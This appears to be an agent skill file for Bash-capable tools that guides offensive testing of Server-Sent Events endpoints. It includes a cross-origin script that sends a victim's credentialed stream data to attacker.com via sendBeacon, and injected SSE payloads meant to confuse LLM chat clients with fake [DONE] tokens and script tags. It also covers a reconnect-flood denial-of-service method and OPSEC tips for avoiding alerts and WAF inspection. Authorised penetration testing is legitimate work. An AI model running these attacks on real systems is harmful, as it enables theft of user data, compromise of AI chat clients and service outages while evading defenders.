| name | api-server-sent-events |
| description | Server-Sent Events (SSE / EventSource) exploitation — origin abuse for cross-site streaming exfil, prompt-injection via SSE messages into LLM clients, retry-after token leak, fragmenting events to bypass content-type sniffers. |
| allowed-tools | Bash Read Write |
| metadata | {"when_to_use":"sse server-sent-events eventsource text/event-stream stream cross-origin retry id event","subdomain":"api","tags":"sse, eventsource, streaming","mitre_attack":"T1190, T1185"} |
Server-Sent Events (SSE) Attack Surface
SSE is one-way (server → browser) over HTTP/1.1 or HTTP/2 with Content-Type: text/event-stream. Used by LLM chat UIs, live dashboards, progress notifications, log streamers.
Detect
curl -sk -i https://target/stream -H "Accept: text/event-stream" | head
Top bug classes
1. Cross-Origin streaming exfil (SSE doesn't enforce CORS for EventSource)
EventSource honors the Access-Control-Allow-Origin header BUT many implementations forget to set it. If a server emits a CORS-permissive header for SSE, an attacker site can subscribe with the victim's cookies:
<script>
const es = new EventSource("https://target/stream", { withCredentials: true });
es.onmessage = e => navigator.sendBeacon("https://attacker.com/x", e.data);
</script>
Often server's CORS config covers JSON endpoints but accidentally extends to SSE. Test by hitting from a third-party origin.
2. Prompt injection into LLM chat clients
Many LLM frontends consume SSE for streaming tokens. If the server doesn't sanitize, an attacker-controlled upstream can inject control tokens ([DONE], special markers) that confuse the client:
data: {"choices":[{"delta":{"content":"\u0000[DONE]"}}]}
data: {"choices":[{"delta":{"content":"<script>alert(1)</script>"}}]}
3. Reconnection token leak via Last-Event-ID
SSE allows resuming via the Last-Event-ID header. If id: lines carry session-state tokens, those tokens are sent on every reconnect — visible in HTTP access logs and to network proxies even on TLS-terminated intermediaries.
id: jwt-here-encoded
event: message
data: ...
4. Retry timing DoS
Server sets retry: 1000 on the wire. Attacker connects, instantly disconnects, repeats — server tracks reconnections in memory. Burst 10k clients → exhaustion.
5. Fragmenting events past content-type sniffers
A SSE stream with the first event being a JSON-shaped payload may be mis-classified by content-sniffers as JSON, enabling XSS in older IE/Edge. (Niche but appears in legacy integrations.)
Tooling
curl -sk -N https://target/stream
python3 -c '
import sseclient, requests
r = requests.get("https://target/stream", stream=True, headers={"Accept":"text/event-stream"})
for ev in sseclient.SSEClient(r).events():
print(ev.id, ev.event, ev.data)
'
OPSEC
- SSE connections appear as long-lived 200 OK in logs. Server-side per-connection auth is often weak — disconnect cleanly to avoid stranded connection alerts.
- WAFs typically don't inspect SSE bodies (they exit early on
Connection: keep-alive + text/event-stream).
References
- WHATWG HTML Living Standard — Server-Sent Events section
- "SSE Considered Harmful?" — Detectify research blog
- LLM-frontend security writeups by simonw.net (Simon Willison) — prompt-injection-via-stream patterns